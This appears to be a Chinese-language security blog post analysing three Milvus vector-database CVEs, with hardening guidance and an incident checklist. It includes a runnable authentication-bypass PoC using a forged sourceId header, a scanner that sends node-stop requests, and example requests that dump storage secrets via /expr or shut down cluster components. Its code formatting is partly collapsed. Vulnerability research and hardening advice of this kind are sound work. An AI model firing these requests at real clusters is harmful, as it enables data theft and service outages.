
1 引子向量库被忽视的攻击面大模型落地RAG业务时绝大多数团队把安全精力全部投入大模型提示词防护LangChain、LlamaIndex应用层校验却直接把向量数据库当成普通中间件简单部署就上线生产。公网测绘可以扫到大量Milvus实例19530、9091端口直接暴露很多实例甚至没有开启账号认证。就算开启认证前面这三批高危漏洞可以直接跳过全部身份校验攻击者拿到集群最高权限导出全部业务向量数据删除集合篡改知识库读取MinIO、etcd存储密钥。连续爆出的三个CVE不是孤立bug是同一套架构信任模型连续犯错。就算升级补丁部分接口依旧没有鉴权保护。很多运维人员打完补丁以为万事大吉遗留攻击面依旧敞开。很多开发者有一个错觉向量数据库只存embedding向量拿了向量也还原不出原始文档。现实情况通过向量检索、大模型重建攻击者可以把业务知识库原始业务文本大规模还原出来企业内部文档、客户对话记录、私有业务资料直接外泄。2 第一性原理拆解Milvus内部信任模型到底错在哪Milvus分布式架构拆分Proxy、RootCoord、DataNode、QueryNode多个组件组件之间gRPC通信。设计上区分两类请求来源外部客户端、集群内部组件。内部组件通信早期版本设计一套简易信任机制内部组件发请求时携带特定sourceId元数据Proxy拿到后识别为内部组件流量跳过账号密码、APIKey全套鉴权逻辑直接放行所有操作。这里出现底层架构错误把本应该集群内网才传递的内部信任凭证交给外部可控的HTTP/gRPC请求头传递。正常安全设计组件之间身份信任应当使用双向TLS证书、内网网络隔离、service account凭证不能由外部HTTP头部传入。外部请求可以随意修改HTTP Header、gRPC metadata攻击者完全可控输入。只要攻击者传入解码后等于硬编码常量milvus-member的sourceId鉴权拦截器直接判定这是集群内部组件请求权限直接拉满。渲染错误:Mermaid 渲染失败: Parse error on line 3: ...us Proxy鉴权拦截器]B --|base64解码对比常量milvu... ----------------------^ Expecting AMP, COLON, PIPE, TESTSTR, DOWN, DEFAULT, NUM, COMMA, NODE_STRING, BRKT, MINUS, MULT, UNICODE_TEXT, got LINK_ID这就是CVE‑2025‑64513的根因不是简单代码写错是信任边界划分错误外部输入可以伪造内部身份凭证。第二个架构错误9091 metrics管理端口。这个端口本意只输出prometheus监控指标。开发把完整业务REST API、调试接口注册到这个HTTP服务上但是Gin鉴权中间件只挂载到/api/v1路由组/management、/expr路由直接注册底层http.ServeMux没有绑定任何鉴权逻辑。Milvus 9091 Metrics HTTP Servergin路由组 /api/v1/*鉴权中间件底层原生http.ServeMux/management/stop 无鉴权/expr调试接口 默认token by‑dev修复CVE‑2026‑26190的时候官方修复/api/v1、/expr接口但是漏掉注册在原生ServeMux上的/management/*系列接口于是诞生CVE‑2026‑69111打完补丁依旧可以远程DoS集群节点。对抗式审查视角做架构安全评审要强制回答三个问题这个信任凭证哪些网络来源可以可控修改鉴权中间件是否覆盖全部路由有没有路由绕过中间件的注册路径监控、调试端口是否默认带上业务管理接口对外暴露Milvus这三次漏洞全部踩中这三个问题。3 CVE‑2025‑64513 sourceId请求头绕过完整技术分析受影响版本2.4.x小于2.4.242.5.x小于2.5.212.6.x小于2.6.5源码关键片段文件internal/proxy/authentication_interceptor.gofuncvalidSourceID(sourceIDstring)bool{decoded,err:base64.StdEncoding.DecodeString(sourceID)iferr!nil{returnfalse}returnstring(decoded)milvus-member}拦截器逻辑如果validSourceID返回true直接跳过鉴权流程不校验用户名、密码、api key。攻击者不需要账号只需要传入base64编码后的字符串milvus-member编码结果QEBtaWx2dXMtZW1iZXJAcw。gRPC metadata大小写不敏感sourceid、SourceId、sourceId都能命中逻辑。HTTP Rest接口同样可以传入http headersourceId: QEBtaWx2dXMtZW1iZXJAcw完成绕过。关键点就算你已经开启Milvus认证设置强root密码开启RBAC这个漏洞依旧生效。鉴权逻辑直接被短路所有账号密码完全无效。修复commit直接移除这套sourceId信任逻辑所有请求强制走账号/APIKey校验不再允许外部请求伪装内部组件身份。临时缓解方案不能依赖Milvus内部逻辑必须在网关层直接删除入站sourceId/sourceidheader。4 CVE‑2026‑26190 9091裸奔管理端口漏洞剖析受影响版本2.5.x 2.5.272.6.x 2.6.10默认docker-compose、helm部署直接对外暴露TCP 9091Metrics服务端口。两个高危攻击点/api/v1/*全套业务REST接口注册在metrics服务没有挂载鉴权中间件。攻击者直接GET/POST调用创建用户、删除集合、读取数据库列表不需要任何凭证。GET http://target:9091/api/v1/databases直接返回全部数据库信息。/expr调试接口用于执行Go表达式默认auth参数硬编码值by‑dev对应etcd默认根路径。攻击者带上这个参数就可以执行任意Go表达式读取配置拿到MinIO访问密钥、etcd账号密码、数据库用户哈希密码。示例请求GET http://target:9091/expr?authby-devcodeGetAllConfig()拿到存储密钥之后攻击者直接访问MinIO存储桶下载全部向量原始存储文件完整窃取知识库。这个漏洞非常迷惑人很多运维升级完CVE‑2025‑64513关掉外部19530访问但是9091端口放通集群直接沦陷。根因是开发复制粘贴路由代码把业务接口注册到metrics服务忘记挂载鉴权中间件属于典型“中间件遗忘”安全缺陷。官方补丁给/api/v1路由增加鉴权删除生产环境默认开启的/expr调试接口。但是*/management/这一组接口依旧注册在原生http.ServeMux没有纳入修复范围。5 未完全修复漏洞CVE‑2026‑69111官方漏掉的DoS接口受影响版本2.6.22及以下3.0.0全部版本截止2026‑08官方尚未完成完整闭环修复。源码注册逻辑RegisterStopComponent直接把/management/stop注册到全局metricsServer没有任何鉴权校验没有复用Gin鉴权中间件。源码片段funcRegisterStopComponent(triggerComponentStopfunc(rolestring)error){Register(Handler{Path:RouteTriggerStopPath,// /management/stopHandlerFunc:func(w http.ResponseWriter,req*http.Request){role:req.URL.Query().Get(role)// 无任何鉴权代码iferr:triggerComponentStop(role);err!nil{...}w.Write([]byte({msg: OK}))},})}攻击者网络可达9091端口GET请求携带role参数远程关闭集群核心组件。GET http://ip:9091/management/stop?roleproxy GET http://ip:9091/management/stop?roledatanode GET http://ip:9091/management/stop?rolequerynode反复调用集群服务直接瘫痪业务完全中断。这个接口还存在CSRF风险攻击者可以构造网页使用img标签触发GET请求用户访问网页就可以触发集群停止操作。重点就算升级修复前面两个CVE只要9091端口对外开放该DoS攻击依旧可以执行。不能寄希望Milvus组件自身鉴权网络层面必须隔离9091只允许集群内部访问。6 完整攻击链路复现、PoC代码、漏洞检测脚本6.1 CVE‑2025‑64513 PoC可直接复制运行测试前请部署受影响版本Milvus仅用于本地测试环境。# cve_2025_64513_poc.pyimportgrpcfrompymilvus.grpc_genimportmilvus_pb2,milvus_pb2_grpcimportsysdefmain(target_ip,port19530):targetf{target_ip}:{port}channelgrpc.insecure_channel(target)stubmilvus_pb2_grpc.MilvusServiceStub(channel)# 伪造内部组件sourceId payloadbypass_metadata[(sourceid,QEBtaWx2dXMtZW1iZXJAcw)]try:respstub.ListDatabases(milvus_pb2.ListDatabasesRequest(),metadatabypass_metadata)print(f[] 漏洞利用成功数据库列表{resp.db_names})exceptExceptionase:print(f[-] 请求失败{str(e)})if__name____main__:iflen(sys.argv)2:print(usage: python cve_2025_64513_poc.py 127.0.0.1)sys.exit()main(sys.argv[1])依赖安装pipinstallgrpcio pymilvus6.2 批量检测脚本扫描目标是否存在风险仅用于自己资产检测禁止扫描非授权目标。# milvus_scan_check.pyimportrequestsimportsocketimportsysimportgrpcfrompymilvus.grpc_genimportmilvus_pb2,milvus_pb2_grpcdefcheck_9091_api(ip):urlfhttp://{ip}:9091/api/v1/databasestry:resprequests.get(url,timeout3)ifresp.status_code200:returnTrue,CVE‑2026‑26190风险9091接口无认证elifresp.status_code401:returnFalse,9091接口已开启鉴权exceptException:returnFalse,9091端口不可访问defcheck_stop_dos(ip):urlfhttp://{ip}:9091/management/stop?roleproxytry:resprequests.get(url,timeout2)# 不会真关闭只检测接口是否无鉴权返回200ifresp.status_code200:returnTrue,CVE‑2026‑69111风险/management/stop无鉴权exceptException:returnFalse,9091端口不可访问defcheck_sourceid_bypass(ip,port19530):try:targetf{ip}:{port}channelgrpc.insecure_channel(target)stubmilvus_pb2_grpc.MilvusServiceStub(channel)meta[(sourceid,QEBtaWx2dXMtZW1iZXJAcw)]respstub.ListDatabases(milvus_pb2.ListDatabasesRequest(),metadatameta,timeout3)ifresp.db_namesisnotNone:returnTrue,CVE‑2025‑64513风险sourceId绕过生效exceptException:returnFalse,19530无漏洞或端口不可达if__name____main__:targetsys.argv[1]print(f扫描目标{target})r1,m1check_sourceid_bypass(target)print(f[19530]{m1})r2,m2check_9091_api(target)print(f[9091‑api]{m2})r3,m3check_stop_dos(target)print(f[9091‑stop]{m3})6.3 完整攻击链路Mermaid流程图19530开放9091开放9091开放已修复api/v1攻击者网络探测端口探测路径A携带sourceId头 CVE‑2025‑64513接管集群分支1 CVE‑2026‑26190分支2 CVE‑2026‑69111 DoS攻击获取全部集合导出向量新建管理员账号窃取RAG知识库调用/api/v1接口直接操作数据调用/expr拿到MinIO密钥下载存储文件调用/management/stop循环关闭节点集群拒绝服务7 真实业务场景危害RAG知识库被窃取的完整链路很多企业做内部知识库、客户客服RAG把文档向量化存入Milvus。业务层做了权限隔离但是向量库本身被攻击者拿下所有上层权限全部失效。攻击链路利用漏洞拿到Milvus集群管理员权限ListCollections拿到全部业务集合批量查询向量导出全部embedding通过向量相似度检索配合大模型还原原始业务文档拿到MinIO密钥直接拉取底层存储文件拿到原始分片数据新增Milvus管理员账号留后门长期潜伏删除业务集合制造业务故障。很多团队误以为向量只是数字就算泄露也没关系。现实测试中大量业务文档的embedding可以被大模型反向还原出原始文本企业私有资料、客户对话、内部方案全部外泄。另外一个风险数据投毒。攻击者写入恶意向量数据RAG检索命中后大模型输出伪造信息篡改业务知识库内容。8 对抗式审查视角复盘开发侧踩过的架构陷阱站在代码审计与架构评审复盘这一系列漏洞提炼通用教训不止Milvus其他分布式组件同样适用。不要把内部组件信任凭证交给外部可控HTTP头内部组件身份凭证来源必须是网络层、证书、密钥不能由http header、gRPC metadata传入。外部请求可以任意篡改header任何基于header做身份信任的设计天生存在攻击面。路由注册时警惕“部分路由绕过鉴权中间件”Gin、echo等web框架分组路由挂载中间件底层原生mux注册的接口不会继承中间件。Milvus两次踩这个坑修复一部分路由漏掉另一组注册在原生mux的接口。做安全评审要梳理全部注册路由确认每一条接口都走鉴权链路不能只看业务接口。监控、调试端口默认不挂载业务管理接口Metrics端口本意输出监控指标不应该带上数据增删改查、组件启停接口。调试接口/expr生产环境必须默认关闭不能保留硬编码公开token。不要假设“开启认证就安全”认证开启只是正常业务流程校验。漏洞可以短路整个鉴权流程认证开关完全无效。安全不能只依赖组件内部鉴权网络隔离、网关过滤、最小权限是必要的纵深防御。补丁修复完成要做对抗性测试Milvus修复CVE‑2026‑26190之后没有覆盖全部注册接口遗留DoS漏洞。打完补丁不能只看版本号要手动遍历全部接口做对抗测试确认攻击面全部收敛。对抗式审查就是站攻击者视角问自己我有什么输入点可以绕过校验哪些路由没有走鉴权哪些凭证可以被外部控制。9 生产环境完整加固清单Nginx/Ingress过滤配置、helm升级命令优先级升级版本 网络隔离 配置加固 网关层兜底防护9.1 版本升级CVE‑2025‑64513修复版本≥2.4.24 / ≥2.5.21 / ≥2.6.5CVE‑2026‑26190修复版本≥2.5.27 / ≥2.6.10CVE‑2026‑69111暂无官方补丁依靠网络隔离防护9091端口。helm部署升级命令helm upgrade milvus milvus/milvus--version2.6.10--namespacemilvus --reuse-valuesdocker-compose部署修改yml镜像tag再执行dockercompose pulldockercompose up-d升级完成验证访问9091/api/v1/collections正常返回401 Unauthorized代表鉴权生效。curl-vhttp://127.0.0.1:9091/api/v1/collections9.2 milvus.yaml核心安全配置common:security:authorizationEnabled:true# 强制开启认证tlsMode:1# 开启外部TLS加密components:security:internaltlsEnabled:true# 组件之间内部TLS加密修改root默认密码业务账号使用RBAC最小权限业务应用不要使用root账号访问集群。9.3 Nginx反向代理过滤sourceId头兜底防护如果业务前面部署Nginx直接删除入站sourceId相关header作为临时兜底防护。location / { proxy_pass http://milvus_proxy:19530; proxy_set_header Host $host; # 删除攻击者可控的sourceId系列header proxy_set_header sourceid ; proxy_set_header sourceId ; proxy_set_header SourceId ; }9.4 Kubernetes Ingress Nginx配置片段apiVersion:networking.k8s.io/v1kind:Ingressmetadata:name:milvus-ingressannotations:nginx.ingress.kubernetes.io/configuration-snippet:|proxy_set_header sourceid ; proxy_set_header sourceId ;spec:rules:-host:milvus.example.comhttp:paths:-path:/pathType:Prefixbackend:service:name:milvus-proxyport:number:195309.5 网络安全组、防火墙规则9091端口绝对禁止公网访问仅集群内部pod、内网可信主机访问。生产环境不对外暴露9091。对外只开放19530业务端口其他Coord、DataNode、QueryNode端口全部内网访问。k8s网络策略NetworkPolicy限制pod访问9091只允许运维pod访问metrics端口。NetworkPolicy示例片段apiVersion:networking.k8s.io/v1kind:NetworkPolicymetadata:name:milvus‑deny‑9091‑externalnamespace:milvusspec:podSelector:matchLabels:app.kubernetes.io/name:milvuspolicyTypes:-Ingressingress:-ports:-protocol:TCPport:19530# 9091只允许特定标签pod访问外部全部拒绝10 入侵事后排查清单日志检索规则怀疑集群被入侵按下面步骤排查。Milvus日志检索关键词审计是否出现陌生账号创建操作CreateUser、CreateRole异常大量ListDatabases、ListCollections调用异常高频DropCollection删除集合操作。检查用户列表查看是否存在未知管理员账号。frompymilvusimportconnections,utility connections.connect(aliasdefault,userroot,passwordxxx)print(utility.list_users())出现陌生账号直接删除。MinIO存储检查是否陌生访问、大量下载向量segment文件。检查etcd内部元数据查看是否被篡改。检查容器进程是否存在异常进程。如果确认被入侵立刻隔离网络删除所有陌生账号修改root密码修改MinIO、etcd密钥评估数据是否被篡改必要时恢复备份升级到修复版本加固网络策略。注意攻击者如果通过漏洞拿到权限日志也可能被篡改日志只能作为参考需要多维度交叉比对。11 向量数据库通用安全设计思考现在RAG业务安全重心大多放在大模型提示注入向量库本身的攻击面经常被忽略。向量数据库是AI业务的核心数据存储它被攻陷上层所有RAG防护全部失效。向量数据库威胁模型需要覆盖认证绕过未授权访问集群数据窃取向量导出、原始文档还原数据投毒写入恶意向量污染知识库拒绝服务攻击组件被停止存储层密钥泄露底层存储文件下载。做系统设计不能假设向量数据库只在内网很多场景下会存在边界泄露。必须做到强制身份认证最小权限RBAC网络层最小访问控制调试端口禁止对外传输开启TLS加密网关层增加兜底防护日志审计监控高危操作告警定期资产测绘扫描是否向量库端口意外对外暴露。很多团队上线之后几乎不会去审计向量数据库安全漏洞爆发之后才发现公网已经跑了几个月。12 互动问题你们项目中RAG业务向量数据库做了哪些安全防护有没有踩过内部信任机制带来的安全坑如果业务无法立刻升级Milvus版本除网络隔离之外还有哪些可行的纵深防御手段我之前也写过类似的文章更多相关内容、心得经验可以来我博客看看~